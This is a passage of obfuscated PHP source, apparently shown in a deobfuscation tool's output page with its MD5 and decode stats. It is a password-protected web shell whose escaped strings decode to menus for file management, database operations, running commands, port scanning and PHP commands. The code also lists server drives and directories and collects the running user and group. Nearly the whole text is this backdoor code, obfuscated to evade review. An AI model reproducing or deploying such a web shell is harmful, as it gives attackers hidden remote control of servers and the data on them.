163\75\42\x72\x69\147\x68\x74\x22\x3e\12\x20\40\x4f\x53\72\173\x75\x6e\x61\155\x65\175\40\173\x73\157\146\164\167\141\162\145\x7d\40\160\150\x70\x20\173\160\x68\160\x5f\x76\x65\x72\x73\151\x6f\156\x7d\xa\x20\x20\x3c\x2f\x64\x69\166\x3e\xa\74\57\x64\x69\166\x3e\xa\x3c\x64\x69\x76\x20\x69\x64\x3d\x22\155\x65\156\x75\42\76\12\x20\x20\x20\40\x7b\x6d\145\156\165\x7d\12\x3c\x2f\144\x69\166\x3e\xa\x3c\144\x69\x76\x20\x69\x64\75\x22\143\x6f\156\164\145\x6e\x74\42\76\12\x3c\150\62\x3e\346\226\207\xe4\xbb\xb6\xe7\256\241\347\x90\x86\x20\x2d\40\xe5\xbd\223\xe5\x89\215\347\xa3\x81\347\x9b\230\xe7\xa9\272\351\x97\xb4\40\74\x73\160\141\156\40\151\x64\75\42\x64\x69\163\x6b\164\157\164\x61\x6c\x22\x3e\74\x2f\163\x70\x61\156\x3e\x20\350\xbf\220\xe8\xa1\x8c\xe7\224\250\xe6\210\267\x3a\x7b\x77\150\x6f\141\x6d\x69\175\x3c\57\150\x32\x3e\12\40\40\x3c\x64\151\166\40\x69\x64\75\x22\142\x61\163\145\42\x3e\xa\40\x20\x20\x20\x3c\144\x69\x76\x20\143\x6c\141\x73\163\x3d\42\143\x64\x72\157\155\x22\x3e\xa\x20\40\40\40\x20\x20\x3c\163\160\141\x6e\x20\151\144\x3d\x22\x6c\151\x73\x74\x64\151\162\42\76\74\57\163\x70\141\156\x3e\xa\40\40\x20\x20\x3c\57\x64\151\x76\76\xa\40\40\x20\x20\74\x64\x69\x76\x20\143\154\141\x73\x73\75\x22\143\144\162\x6f\x6d\42\76\12\x20\x20\x20\40\x20\40\x7b\143\144\x72\157\155\175\12\x20\x20\40\40\74\57\x64\x69\x76\76\xa\40\40\x3c\57\144\x69\x76\76\xa\x20\x20\74\x64\x69\166\40\x63\x6c\x61\163\x73\x3d\x22\x68\42\76\74\57\144\151\166\x3e\xa\x20\40\x3c\x64\151\x76\40\151\x64\x3d\42\142\141\163\145\x32\x22\76\xa\40\x20\40\40\74\x64\151\166\x20\x63\x6c\141\163\x73\x3d\42\x63\144\x72\x6f\155\x22\76\12\x20\x20\40\x20\x20\x20\173\x61\143\x74\x69\157\x6e\x7d\xa\x20\40\x20\x20\74\57\144\151\x76\x3e\12\x20\40\40\40\x3c\x64\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x63\x64\162\157\x6d\x22\x3e\12\x20\40\x20\40\40\x20\346\x9f\245\346\211\276\xe6\x96\207\344\273\xb6\x28\345\275\x93\xe5\x89\x8d\350\xb7\xaf\xe5\xbe\204\51\72\x20\74\151\x6e\160\165\x74\x20\x63\x6c\141\163\x73\x3d\42\x69\156\x70\x75\x74\42\40\x6e\141\155\145\75\42\x66\151\156\144\x73\164\162\42\x20\x76\141\154\x75\145\x3d\42\42\x20\x74\171\160\145\x3d\42\164\145\170\164\42\40\57\76\x20\x3c\151\156\160\165\x74\40\143\154\141\163\x73\75\x22\142\164\42\40\166\141\x6c\165\145\x3d\x22\xe6\x9f\245\346\x89\276\x22\x20\x74\x79\x70\145\x3d\42\x73\x75\142\155\151\164\42\40\x2f\76\12\40\x20\x20\x20\74\x2f\x64\x69\166\76\xa\40\40\x3c\x2f\x64\151\166\76\12\40\x20\x3c\41\x2d\x2d\40\162\x65\x74\165\x72\x6e\x20\55\55\76\xa\40\x20\74\144\x69\x76\x20\x69\x64\75\42\x73\x68\x6f\167\42\76\12\40\x20\74\57\x64\x69\166\x3e\xa\40\x20\x3c\x64\x69\x76\x20\151\144\75\42\160\x61\147\x65\x73\42\76\xa\x20\40\74\57\144\151\x76\76\12\40\40\x3c\x21\55\55\40\x65\x6e\144\40\x2d\x2d\76\xa\74\x2f\144\x69\x76\76\40\xa\74\x64\x69\x76\40\143\x6c\141\x73\163\x3d\42\x68\42\x3e\74\x2f\144\151\x76\x3e\xa\74\144\151\x76\x20\x69\x64\75\42\146\x6f\x6f\164\x65\x72\42\76\xa\x20\x20\x3c\163\x70\x61\156\40\163\164\171\x6c\x65\75\x22\146\x6c\x6f\141\x74\72\x72\151\147\x68\164\73\42\x3e\12\x20\x20\40\40\x20\x50\x72\x6f\143\x65\163\x73\145\144\40\151\156\x20\74\x73\160\141\156\40\x69\x64\x3d\x22\x72\x75\x6e\164\151\155\145\42\76\x3c\57\163\x70\x61\x6e\76\x20\x73\145\x63\x6f\156\x64\x28\x73\x29\40\173\147\172\151\160\175\40\165\163\141\147\145\x3a\x3c\163\x70\141\x6e\x20\x69\144\x3d\42\155\145\155\x6f\x72\171\x22\x3e\x7b\x6d\145\x6d\x6f\x72\x79\175\74\57\x73\160\141\156\76\xa\x20\x20\x3c\x2f\x73\x70\x61\156\76\xa\x20\x20\x50\157\x77\145\162\145\144\x20\142\171\40\x7b\143\157\160\171\x72\151\147\150\164\x7d\xa\40\x20\56\40\x43\157\x70\171\x72\151\x67\150\164\x20\x28\x43\51\40\62\x30\x31\x30\55\x32\60\61\x32\12\40\40\40\x41\154\154\x20\x52\x69\x67\150\164\163\x20\122\145\x73\145\x72\x76\x65\x64\x2e\12\x3c\57\144\x69\x76\x3e"; $actions[] = array("\156\141\x6d\145" => "\xe7\275\x91\347\xab\231\xe7\233\xae\xe5\275\225", "\165\x72\154" => urlencode($_SERVER["\x44\117\103\125\x4d\105\x4e\x54\137\x52\x4f\117\124"]), "\x74\x79\x70\x65" => 1); $actions[] = array("\x6e\x61\155\x65" => "\xe6\226\x87\344\xbb\xb6\xe7\x9b\256\xe5\xbd\225", "\165\x72\154" => urlencode(str_replace(array("\x5c\134"), array("\x2f"), dirname(__FILE__))), "\x74\x79\160\145" => 1); $actions[] = array("\156\x61\155\x65" => "\xe5\210\x9b\345\273\272\xe6\226\x87\344\273\266\xe5\xa4\271", "\x75\x72\154" => "\156\165\154\x6c", "\164\x79\x70\145" => "\x35"); $actions[] = array("\156\141\x6d\145" => "\xe5\210\x9b\345\xbb\xba\346\226\207\344\xbb\xb6", "\165\x72\x6c" => "\x32", "\x74\171\x70\x65" => "\62"); $actions[] = array("\x6e\141\x6d\x65" => "\xe4\xb8\x8a\xe4\274\xa0\346\226\x87\xe4\273\266", "\x75\x72\154" => "\x6e\x75\x6c\x6c", "\x74\x79\160\x65" => "\66"); $menus[] = array("\x6e\x61\155\145" => "\xe9\200\x80\xe5\207\272", "\x75\162\154" => "\x61\143\x74\151\157\156\x3d\154\157\147\157\165\x74", "\164\x79\x70\145" => "\156\165\x6c\154"); $menus[] = array("\156\x61\x6d\145" => "\xe6\226\207\344\xbb\266\xe7\xae\xa1\xe7\x90\x86", "\165\x72\x6c" => urlencode(str_replace(array("\x5c\x5c"), array("\x2f"), dirname(__FILE__))), "\x74\x79\160\145" => 1); $menus[] = array("\156\141\x6d\145" => "\xe6\225\260\xe6\215\xae\xe5\272\x93\xe6\223\215\344\xbd\234", "\165\x72\x6c" => "\62", "\164\171\160\x65" => "\62"); $menus[] = array("\x6e\x61\155\145" => "\350\277\220\350\241\214\345\x91\xbd\344\xbb\244", "\165\x72\x6c" => "\62", "\164\171\x70\145" => "\x32"); $menus[] = array("\156\x61\x6d\x65" => "\x50\x48\x50\347\x9b\270\xe5\x85\263", "\165\x72\154" => "\x32", "\164\x79\x70\x65" => "\62"); $menus[] = array("\156\x61\x6d\145" => "\347\xab\xaf\345\x8f\243\346\x89\253\346\x8f\x8f", "\165\x72\154" => "\x32", "\x74\x79\x70\x65" => "\x32"); $menus[] = array("\x6e\141\x6d\x65" => "\x50\110\120\xe5\221\xbd\xe4\273\244", "\x75\x72\154" => "\62", "\164\171\160\x65" => "\62"); foreach ($menus as $key => $value) { $menu .= sprintf("\74\x61\40\150\x72\x65\146\x3d\x22\152\x61\166\141\163\x63\162\151\x70\x74\72\73\73\73\x22\40\156\141\x6d\145\x3d\x22\x25\x73\x22\x20\x6f\156\143\x6c\151\143\x6b\75\141\x6a\x61\x78\x28\x74\x68\x69\163\56\156\141\x6d\x65\x2c\x25\x73\51\x3e\x25\x73\x3c\57\x61\x3e\40\174\40", $value["\165\x72\x6c"], $value["\x74\x79\160\x65"], $value["\x6e\x61\x6d\x65"]); } foreach ($actions as $key => $value) { $action .= sprintf("\74\141\x20\150\x72\x65\146\75\42\x6a\141\x76\x61\x73\143\x72\x69\160\x74\72\x3b\73\73\42\x20\x6e\x61\155\x65\75\x22\x25\163\x22\40\x6f\x6e\x63\x6c\151\x63\x6b\x3d\x61\x6a\141\170\50\x74\150\151\163\56\x6e\141\155\x65\x2c\x25\x73\51\x3e\x25\x73\74\x2f\x61\76\x20\x7c\x20", $value["\x75\x72\154"], $value["\164\x79\x70\145"], $value["\x6e\141\155\x65"]); } $serach = array("\x7b\164\151\164\154\145\175", "\173\x68\157\163\164\x7d", "\173\151\x70\175", "\173\165\x6e\x61\x6d\145\x7d", "\x7b\163\157\146\x74\167\141\162\x65\175", "\x7b\160\150\x70\137\166\145\x72\x73\151\157\x6e\175", "\x7b\155\145\x6e\165\x7d", "\x7b\143\x6f\x70\171\162\x69\147\150\x74\x7d", "\173\143\x64\162\x6f\155\175", "\173\141\143\164\151\157\156\175", "\x7b\147\x7a\151\x70\175", "\x7b\155\x65\x6d\x6f\x72\x79\x7d", "\x7b\152\163\x7d", "\x7b\x63\x73\x73\175", "\173\x77\150\x6f\x61\155\x69\175"); if (!function_exists("\160\x6f\163\151\x78\x5f\147\x65\x74\145\147\x69\x64")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\77"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid["\x6e\141\x6d\x65"]; $uid = $uid["\165\151\144"]; $group = $gid["\156\x61\155\145"]; $gid = $gid["\x67\x69\144"]; } $replace = array(title, $_SERVER["\110\124\124\x50\x5f\110\x4f\123\124"], $_SERVER["\123\105\122\126\105\x52\137\101\x44\104\122"], php_uname("\163"), $_SERVER["\123\105\x52\126\x45\x52\x5f\x53\x4f\x46\124\x57\x41\x52\x45"], PHP_VERSION, trim($menu, "\x7c\40"), copyright, self::disk(), trim($action, "\x7c\x20"), gzip, self::byte_format(memory_get_peak_usage()), self::js(), self::css(), $uid . "\x20\50\40" . $user . "\x20\x29\x20\x2f\x20\107\x72\x6f\x75\160\x3a\40" . $gid . "\40\50\40" . $group . "\x20\x29"); $eof = str_replace($serach, $replace, $eof); $json["\x73\x74\x61\164\165\163"] = "\157\x6b"; $json["\x64\x61\164\141"] = $eof; if (!ob_start("\157\142\x5f\147\x7a\x68\x61\x6e\x64\154\145\x72")) { ob_start(); } echo json_encode($json); ob_end_flush(); die; } protected static function disk() { if (is_win) { $cdrom = range("\101", "\132"); foreach ($cdrom as $disk) { $disk = sprintf("\x25\x73\45\163", $disk, "\x3a"); if (is_readable($disk)) { $return .= sprintf("\x3c\x61\40\150\162\x65\x66\x3d\x22\x6a\141\x76\x61\x73\x63\162\151\x70\x74\72\73\73\x3b\42\x20\156\x61\x6d\x65\x3d\x22\x25\163\42\x20\x6f\156\143\154\151\143\x6b\x3d\42\x61\x6a\x61\170\50\x74\150\x69\x73\56\156\x61\x6d\x65\54\61\x29\42\x3e\104\111\123\113\40\45\163\74\x2f\141\76\40\x7c\40", $disk, $disk); } } return trim($return, "\x7c\x20"); } else { if (function_exists("\x73\143\141\x6e\144\x69\162")) { $cdrom = scandir("\x2f"); } elseif (function_exists("\147\154\x6f\x62")) { foreach (glob("\57\52") as $ff) { $cdrom[] = basename($ff); } } foreach ($cdrom as $disk) { if ($disk == "\x2e" || $disk == "\x2e\x2e") { continue; } $disk = sprintf("\45\163\x25\x73", "\57", $disk); if (is_readable($disk)) { if (is_dir($disk)) { $return .= sprintf("\74\x61\x20\x68\x72\x65\146\75\x22\x6a\x61\x76\141\163\x63\x72\x69\160\x74\72\x3b\x3b\73\x22\x20\156\141\x6d\145\75\42\45\x73\42\x20\x6f\156\143\154\x69\x63\153\75\42\x61\152\x61\x78\50\164\150\x69\163\56\x6e\x61\x6d\x65\x2c\x31\x29\42\x3e\45\163\x3c\x2f\x61\76\40\x7c\40", urlencode($disk), str_replace("\x2f", '', $disk)); } } } return trim($return, "\174\40"); } } protected static function G($start, $end = '', $dec = 6) { static $_info = array(); if (is_float($end)) { $_info[$start] = $end; } elseif (!empty($end)) { if (!isset($_info[$end])) { $_info[$end] = microtime(true); } return number_format($_info[$end] - $_info[$start], $dec); } else { $_info[$start] = microtime(true); } } protected static function authentication() { if (true == password) { if (!empty($_POST["\160\167\x64"]) && strlen(password) == 32) { $password = hash(crypt, $_POST["\x70\x77\x64"]); } else { $password = $_POST["\160\x77\x64"]; } if (true == $password && $password !== password) { die("\x7b\x22\145\162\162\x6f\162\42\x3a\42\xe5\xaf\x86\347\xa0\x81\xe9\x94\231\350\257\xaf\41\42\x7d"); } if (true == $password && $password == password) { setcookie("\x76\145\162\151\x66\171", $password, time() + 3600 * 24 * 30); self::headers(); die; } if (!isset($_COOKIE["\166\x65\x72\151\146\171"]) || empty($_COOKIE["\x76\x65\x72\x69\x66\x79"]) || (string) $_COOKIE["\166\x65\x72\x69\146\171"] !== password) { if ($_SERVER["\x48\124\x54\120\x5f\101\x4a\101\x58"] == "\x74\162\165\145") { die("\x7b\x22\163\x74\x61\164\x75\x73\42\72\x22\157\146\x66\42\x7d"); } self::login(); die; } } if ($_SERVER["\110\124\124\120\x5f\x41\112\101\x58"] == "\164\162\165\145") { self::headers(); } } public function logout() { setcookie("\x6b\145\171", '', time() - 3600 * 24 * 30); unset($_COOKIE["\x6b\x65\171"]); session_start(); session_destroy(); $login = "\x20\x20\x3c\x64\151\166\x20\151\x64\x3d\42\x6c\x6f\141\144\42\x3e\12\x20\x20\40\x3c\x2f\x64\151\x76\x3e\xa\x20\40\x20\x3c\144\x69\x76\x20\143\x6c\141\163\163\x3d\x22\x68\42\x3e\x3c\57\144\x69\x76\x3e\xa\40\x20\40\74\x64\x69\166\40\151\x64\x3d\42\x6c\157\x67\x69\x6e\42\x3e\xa\40\x20\x20\x20\40\x3c\163\x70\141\156\x20\x73\164\x79\x6c\145\75\42\146\157\x6e\164\x3a\x31\x31\x70\170\x20\126\145\x72\144\141\x6e\x61\x3b\x22\76\12\x20\40\40\x20\x20\x20\x20\120\141\163\163\x77\157\x72\x64\x3a\x20\12\x20\40\x20\40\40\x3c\57\x73\x70\x61\156\x3e\12\40\40\40\x20\40\x3c\x69\x6e\160\165\x74\40\x69\144\x3d\x22\160\167\144\x22\40\156\x61\155\145\x3d\42\x70\167\x64\x22\x20\164\x79\x70\145\75\x22\160\141\163\x73\167\x6f\162\144\x22\x20\163\x69\x7a\145\75\42\62\60\x22\76\xa\40\x20\x20\x20\x20\74\x69\156\x70\165\164\x20\x69\x64\x3d\42\154\x6f\x67\x69\156\x5f\x6f\x70\x65\156\x22\x20\164\x79\x70\x65\x3d\x22\142\x75\164\x74\157\x6e\42\40\166\x61\x6c\165\x65\x3d\42\114\157\147\151\156\42\76\12\40\x20\x3c\57\144\x69\166\76"; $json["\x73\x74\141\164\x75\163"] = "\143\154\157\x73\145"; $json["\x64\x61\164\141"] = $login; die(json_encode($json)); } static function login() { $login = "\x3c\x21\104\117\x43\x54\131\x50\x45\40\x48\124\x4d\114\x3e\xa\x3c\150\x65\x61\x64\76\12\74\x6d\x65\164\x61\40\150\x74\x74\160\x2d\145\x71\x75\151\166\x3d\42\143\x6f\x6e\164\145\156\x74\x2d\164\171\160\x65\x22\40\x63\157\156\x74\x65\x6e\x74\x3d\42\164\145\170\x74\x2f\x68\x74\x6d\x6c\x22\x20\57\x3e\xa\x3c\155\x65\164\x61\40\150\x74\x74\x70\x2d\x65\161\x75\151\x76\75\42\143\x6f\156\x74\x65\156\x74\55\x74\171\160\145\42\40\x63\150\x61\x72\163\x65\x74\75\x22\x55\124\x46\x2d\x38\42\x20\x2f\x3e\xa\74\164\x69\164\x6c\145\76\x7b\164\x69\164\154\x65\175\x3c\x2f\x74\151\x74\154\145\x3e\12\173\x63\x73\x73\175\xa\173\x6a\163\175\xa\74\x2f\x68\145\141\x64\76\xa\74\142\x6f\x64\x79\76\12\40\40\74\144\x69\166\40\151\144\75\42\x6c\157\x61\144\42\76\12\x20\x20\40\74\57\x64\x69\166\76\12\40\x20\x20\74\144\151\x76\x20\x63\x6c\x61\163\x73\x3d\x22\150\42\76\74\57\x64\151\166\x3e\12\40\x20\x20\x3c\144\151\166\40\x69\144\75\x22\154\157\147\151\156\x22\x3e\12\x20\x20\x20\40\x20\x3c\x73\x70\x61\x6e\40\x73\x74\x79\154\145\75\42\x66\x6f\x6e\x74\72\x31\61\x70\170\40\x56\x65\162\x64\x61\x6e\x61\73\42\76\xa\x20\x20\x20\40\40\40\40\120\141\163\163\x77\157\162\x64\72\40\xa\x20\40\x20\x20\40\74\x2f\163\160\141\156\x3e\12\x20\x20\40\40\40\x3c\151\156\x70\165\x74\40\x69\x64\x3d\x22\x70\x77\x64\42\x20\156\141\155\145\75\x22\x70\x77\x64\42\x20\164\x79\x70\145\x3d\x22\160\x61\163\x73\x77\x6f\162\144\42\40\x73\x69\172\145\75\x22\62\60\42\76\xa\x20\x20\40\40\x20\74\151\156\160\x75\164\40\151\x64\x3d\42\x6c\157\147\x69\156\137\x6f\x70\145\x6e\x22\40\164\x79\160\x65\75\x22\x62\x75\164\164\157\156\x22\x20\x76\141\x6c\165\145\75\x22\x4c\157\x67\x69\x6e\x22\76\12\40\40\x3c\57\144\151\x76\x3e\xa\x3c\x2f\x62\157\144\171\x3e\12\x3c\57\150\164\x6d\x6c\76"; $search = array("\x7b\143\x73\x73\175", "\x7b\x74\151\x74\x6c\145\175", "\x7b\152\163\175"); $replace = array(self::css(), title, self::js()); echo str_replace($search, $replace, $login); } protected static function getperms($path) { $perms = fileperms($path); if (($perms & 49152) == 49152) { $info = "\x73"; } elseif (($perms & 40960) == 40960) { $info = "\x6c"; } elseif (($perms & 32768) == 32768) { $info = "\55"; } elseif (($perms & 24576) == 24576) { $info = "\142"; } elseif (($perms & 16384) == 16384) { $info = "\x64"; } elseif (($perms & 8192) == 8192) { $info = "\x63"; } elseif (($perms & 4096) == 4096) { $info = "\160"; } else { $info = "\x3f\x3f\77\77\77\x3f\77\x3f\x3f"; return $info; } $info .= $perms & 256 ? "\162" : "\x2d"; $info .= $perms & 128 ? "\x77" : "\55"; $info .= $perms & 64 ? $perms & 2048 ? "\x73" : "\x78" : ($perms & 2048 ? "\123" : "\55"); $info .= $perms & 32 ? "\x72" : "\55"; $info .= $perms & 16 ? "\x77" : "\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\163" : "\x78" : ($perms & 1024 ? "\123" : "\55"); $info .= $perms & 4 ? "\162" : "\x2d"; $info .= $perms & 2 ? "\167" : "\55"; $info .= $perms & 1 ? $perms & 512 ? "\x74" : "\x78" : ($perms & 512 ? "\x54" : "\55"); return $info; } protected static function byte_format($size, $dec = 2) { $a = array("\102", "\113\102", "\115\102", "\x47\102", "\x54\102", "\120\x42"); $pos = 0; while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, $dec) . '' . $a[$pos]; } protected static function convert_to_utf8($str, $type = "\x67\x62\x6b") { if (function_exists("\151\143\x6f\x6e\166")) { if ($type == "\x67\142\153") { if (false == @iconv("\107\102\113", "\125\x54\x46\55\70", $str)) { return $str; } else { return @iconv("\107\102\113", "\125\x54\x46\55\70", $str); } } if ($type == "\165\x74\146\x38") { if (false == @iconv("\x55\x54\x46\55\x38", "\107\102\113", $str)) { return $str; } else { return @iconv("\125\x54\106\55\x38", "\x47\x42\x4b", $str); } } } else { return $str; } } } goto nDhsi; Ptw9f: ?>

Function Calls

None

Variables

None

Stats

MD5 39aa8f1cb2c99e84e0d28bf4d3e9cf9c
Eval Count 0
Decode Time 132 ms